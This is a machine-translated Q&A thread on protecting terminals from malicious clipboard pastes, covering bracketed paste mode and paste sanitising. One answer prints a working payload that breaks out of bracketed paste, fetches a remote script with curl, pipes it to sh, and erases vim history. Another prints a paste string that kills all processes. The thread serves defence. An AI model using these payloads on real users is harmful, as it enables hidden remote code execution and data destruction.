如何保护自己免受此类剪贴板侵害？

echo '.!: keS i3l ldKo -1+9 +2-1' > /tmp/lol
echo ':!. keS i3l ldKo -2+9 +7-1' >> /tmp/lol
echo '.:! keS i3l ldKo -3+9 +4-1' >> /tmp/lol
sleep 1
md5sum /tmp/lol

#1 楼

请注意，从292版开始，xterm会删除除\b，\r，\t，DEL（0x7f）和\n之外的ASCII控制字符（它将\n转换为\r，就像其他终端一样），您可以使用allowPasteControls资源将它们带回。 VTE（gnome-terminal，terminator，xfce-terminal ...使用的终端仿真器库）自2015年10月起也开始执行

所以在这些终端中，^C，^[，^D，^Z，^\，^U，^W是不再是问题，但DEL \b和\t（对于zsh的某些配置（包括默认配置）非常危险，其中完成可以扩展命令替换），\r和\n仍然存在。

xterm也具有两种粘贴模式可以在此处提供帮助。




在某些zsh或vim安全粘贴插件中使用了\e[?2004h序列启用了带括号的粘贴模式。

自5.1起的zsh（zle）和自4.4起的bash（readline）现在都支持内置的功能。虽然默认情况下在zsh中启用了该功能，但您需要在bind 'set enable-bracketed-paste on'中的bash（或在readline的配置中）手动启用它~/.inputrc或/etc/inputrc）。

此一个可以在\e[200~和\e[201~之间进行选择。

大多数其他现代终端，​​例如基于VTE的终端（gnome-terminal，xfce-terminal，terminator ...），rxvt，konsole，OS / X Terminal现在也支持该终端。

但是在某些其他终端（或其版本）中（或allowPasteControls中的xterm），存在缺陷，因为\e[201~可能出现在选择项中，并被当作右括号。 br />
可以通过像\e\e[201~\e[200~201~这样的方括号来解决，但这还不是由任何终端仿真器完成的，而只是AFAIK（这意味着应用程序将看到多个粘贴）。

如果在tty行规则中未禁用^C，则^Z / ^\ / ISIG仍仍会导致将信号发送到终端的前台处理组。


引用的粘贴模式已启用\e[?2005h序列（被\e[?2005l禁用）。

此字符在每个字符（实际上是字节）前添加一个^V字符。

^V是默认的lnext（字面下一个）字符tty行规以规范模式显示，并且vi和其他编辑器以及readline或zsh的zle等某些行编辑器也认识到这种情况。

这个问题与上面的方括号模式，并且对于终端规范模式（例如当您执行cat > file时）和其他一些应用程序有好处，但是有一些缺点：


换行符和CR最终被渲染为^M。使用另一个转义序列可以避免这种情况：\e[?2006h，但这会导致换行符在vim中作为NUL字符插入，并在终端规范模式下显示为^J（除非您执行stty -echoctl）（尽管这只是表面上的问题）。 br />不适用于例如在zle或vim中未正确插入的多字节字符。
某些可视化应用程序接下来不处理^V作为原义字，因此您可能仍然必须将其打开
您不能在vim中使用它，因为^V 1例如没有插入1，但是在那里插入了^A。
我不知道xterm旁边的其他终端是否支持它，但是我尚未进行广泛的调查。



它还允许您通过配置定义自己的方括号粘贴模式。例如，带有：

 XTerm*allowPasteControls: true
 XTerm.VT100.translations: #override \
   Ctrl Shift<KeyPress> Insert: \
     insert-formatted("3[202~%S~%s", CLIPBOARD,PRIMARY,CUT_BUFFER0)'

它将在Shift + Ctrl + Insert时将CLIPBOARD / PRIMARY / CUT_BUFFER0插入为^[[202~<size-in-bytes>~<content>。然后，应用程序可以可靠地进行解释（尽管仍然需要在tty行规则中禁用ISIG）。


另一种方法是使用伪tty包装器来插入这些^V仅在控制字符之前。这样的包装程序应该能够可靠地检测粘贴中的控制字符，因为真正的键盘按键一次只能发送一个字符或以ESC开头的一系列字符，而粘贴一次只能发送多个字符。

仍然会有换行符的问题，在终端规范模式下显示为^J或在^@中显示为vim，但是可以通过外壳配合一些变通方法来解决。

概念验证：

用作例如：

更好的方法可能是使用剪贴板管理器，您可以在其中指定粘贴模式，这会标记潜在的危险选择。

#2 楼

您可能已经猜到了，但是从不使用终端粘贴功能将内容粘贴到vim / emacs中。就像向编辑器发送一批命令一样，它可以执行任何操作。

由于这些原因，编辑器具有自己的复制粘贴功能，无法注入。例如，在vim中，应使用+寄存器与系统剪贴板交换数据（用于粘贴的"+p）。

关于外壳程序或其他终端应用程序：已经确定，您不得将不安全的数据粘贴到您的终端中。

有一个用于zsh的安全粘贴插件，可以防止代码在粘贴时实际运行，但是反正有人已经利用了它。

另外，在apple.se上也提出了类似的问题（关于意外粘贴）。大多数解决方案也可能对您有用。

更新：在vim中，如果使用set mouse=a，则使用鼠标中键粘贴是安全的。您仍然可以使用shift-Insert粘贴。

#3 楼

好吧，事实证明，我当前的剪贴板方法可以很好地缓解这种情况。

在选项卡之间复制粘贴片段时，我只是正常复制粘贴。

但是，当将复制粘贴到终端/ PuTTY会话中时，我（对在终端中编辑文本有些反感），通常将其在Notepad ++或Emacs中组装（取决于OS），然后进行复制-将最终文本粘贴到终端中。两种编辑器都显示控制字符（和其他不可打印的字符），因此很容易注意到那里的所有头骨盗窃行为。

出于安全原因，我不能断言我使用中间文本编辑器方法，这是因为我尚未熟练于vim或任何其他基于终端的编辑器。

#4 楼

我可以断言，任何复制和粘贴代码段的习惯都是不好的习惯，但这是在避免问题的发生。我个人键入此类代码元素而不是复制它们，但这是因为我通常想更改其中的某些内容，或者学习如何完成手头的任务；也许我只是一个疯狂的疯子。

您可以做的是自动清理剪贴板内容。后台应用程序可以不断监视剪切缓冲区的内容并删除控制字符；我不确定X11是否可以诱使发送更改缓冲区剪切的事件，但是每秒轮询10次将达到目的。 X11的双重性（剪切缓冲区与选择区）会使事情变得更复杂，但我相信可以做到（而且，我相信您可以做到）。

对内容进行清理可能很棘手。例如，假设您删除了0..31范围内的所有字节（ASCII控制字符），除了换行符（10），回车符（13）和制表符（9）。然后，如果我编写此代码（Linux系统）：

printf "\xC0\x9B:!kill -9 -1\n" | xclip

，然后将其粘贴到以vim（在UTF-8模式下）运行的xterm实例中，杀死我所有的进程...尽管剪切缓冲区在任何时候都绝不包含任何“不需要的”控制字符。 C0 9B序列不是有效的UTF-8，但足够接近，因此xterm仍将尝试对其进行解码，然后将其解码为0x1B，也称为Escape...。其他棘手的序列包括E0 80 9B。请注意，尽管有效的UTF-8永远不会包含值C0的字节，但它可能包含值E0，80和9B的字节（但不按此顺序）。因此，消毒过程最好彻底而严格。

这种工具的附加功能是将CR + LF序列和孤立CR自动转换为LF。可能将128..159范围内的流血CP-1252字符转换为理智，标准的对应字符。这不仅是一个安全问题；在非恶意情况下，它可能是有用的工具。

#5 楼

我最近通过在虚拟机中运行Web浏览器为自己解决了这个问题。 x选择不在VM和主机之间同步，因此对于我而言，我不再可能在单击鼠标中键时将Web上的内容粘贴到终端中。

#6 楼

它比嵌入式行编辑要深入得多，在嵌入式行编辑中，您至少会看到最终发生的情况。或至少看到某些东西被隐藏了。我可以发布一个看起来不错的代码片段，如下所示：

let t_BE="\<esc>[?2004h"

然后尝试诱使人们将其复制粘贴到特定的文本编辑器中。特定的终端仿真器，例如，建议必须减轻两者一起操作时遇到的问题（甚至可能是安全问题）。

上面的预格式化文本显示了一个不错的vim设置，但是它包含一个图像，并在复制时使用其替代文本包括以下有效负载：

\e[201~\e:call system('(curl -s https://pastebin.com/raw/zSBiFpKn|sh)&')
:call histdel('cmd','zSBiFpKn')
a\e[200~

（控制代码以＆＃nn;的形式嵌入在markdown源中，但是为了清楚起见，我在这里对其进行了修改）

如果复制了上面的文本，则可以使用以下命令确认是否已拾取有效负载：

xsel | hexdump -C

该字符串假定目标主机从易受攻击的终端仿真器中使用vim，而不使用X11剪贴板功能。它以转义序列开始，以退出方括号粘贴模式，以便将后续控制字符视为击键，然后再进行另一个转义，以退出插入模式，然后执行两个命令：

:call system('(curl -s https://pastebin.com/raw/zSBiFpKn|sh)&')

在后台下载并执行Shell脚本，然后：

:call histdel('cmd','zSBiFpKn')

从命令历史记录中删除两个命令（或任何具有匹配字符串的命令），以便它们稍后将不会被发现。
它以重新进入插入模式的命令和重新进入包围式粘贴模式的转义序列结束，因此，当终端添加最终的转义以退出带括号的粘贴时，情况保持一致

如果没有方括号粘贴模式，则粘贴到缓冲区中的字符串中会出现一些多余的技术错误，但是否则其他操作仍然可以进行。

由于这两个命令均会立即返回，因此很有可能在下一次屏幕回溯之前完成它们，因此屏幕不会出现毛刺。分别发出两个命令可确保将它们安装在80列的终端上-如果必须将命令行扩展到多行，则屏幕更新会更加复杂且缓慢，因此屏幕可能会出现故障（取决于我猜想是系统和终端）。

如果一切顺利，攻击对用户是无形的，他们认为他们已经成功地将看到的文本粘贴到了缓冲区中，没有发生任何其他事情。他们的命令历史编号将不连续，但对此没有明显的解释。

将其舍入为答案；这个示范大部分是历史性的。括号粘贴模式得到广泛支持，并且在大多数终端中，无法通过嵌入式转义符将其破坏（选中此选项并根据需要升级/报告）。您应该配置shell和编辑器以及其他可能粘贴到的内容，以启用方括号粘贴模式。

#7 楼

为了防止这种情况，我要做的是使用方括号粘贴模式。就像Stéphane所说的那样，zsh和urxvt默认支持它。如果将自己限制为仅在urxvt的zsh提示符下进行粘贴，则剩下的唯一真正的问题（我认为^C或^Z不会在提示符下引起信号）是粘贴可能包含转义序列以结束粘贴然后将其余部分视为已键入。

解决此悬而未决的问题就是这个答案的目的。我将写出针对我的案例所做的事情，但是这也应该在其他终端中也是可行的，即使不是通过扩展，而是通过补丁。

urxvt支持perl扩展。我是在~/.urxvt/ext/filter-paste中编写的：

sub on_tt_paste {
    my ($term, $octets) = @_;
    $octets =~ s/\x1b\[201~//g;
    $term->tt_paste($octets);
    return true;
}

将其包含在要在~/.Xresources中加载的perl扩展列表中：

URxvt.perl-ext-common: filter-paste

，并使用xrdb ~/.Xresources重新加载新终端窗口的配置。

，urxvt将从终端粘贴的内容中删除所有关闭粘贴模式转义序列的实例。

在撰写本文时，该网页http://thejh.net/misc/website-terminal-copy-paste具有两个利用此漏洞的示例。在编写扩展之前，对于第一个示例，带有urxvt的zsh将是无懈可击的，但对于第二个示例，则不是第二个，后者包括用于结束粘贴模式的转义序列。写入后，它们都不起作用，并且粘贴内容的完整内容将显示在提示中，在执行之前等待Enter（zsh不会执行带有方括号粘贴模式粘贴的命令，即使它包含换行符，直到您按Enter为止） 。

编辑：受sh1注释的提示，我测试了其他终端仿真器，以查看仍然容易受到攻击。

|----------------+---------+--------|
| terminal       | version | fixed  |
|----------------+---------+--------|
| yakuake        |   3.0.5 | ok     |
| gnome-terminal |  3.28.1 | ok     |
| konsole        | 18.04.0 | ok     |
| xterm          |     332 | ok     |
| sakura         |   3.5.0 | ok     |
| vte3           |  0.52.1 | ok     |
| putty          |    0.71 | ok     |
| termite        |      14 | ok     |
| st             |   0.8.1 | failed |
| qterminal      |  0.14.1 | failed |
|----------------+---------+--------|

所有版本均为当前版本。在撰写Archlinux软件包回购时提供（Archlinux正在滚动发行）。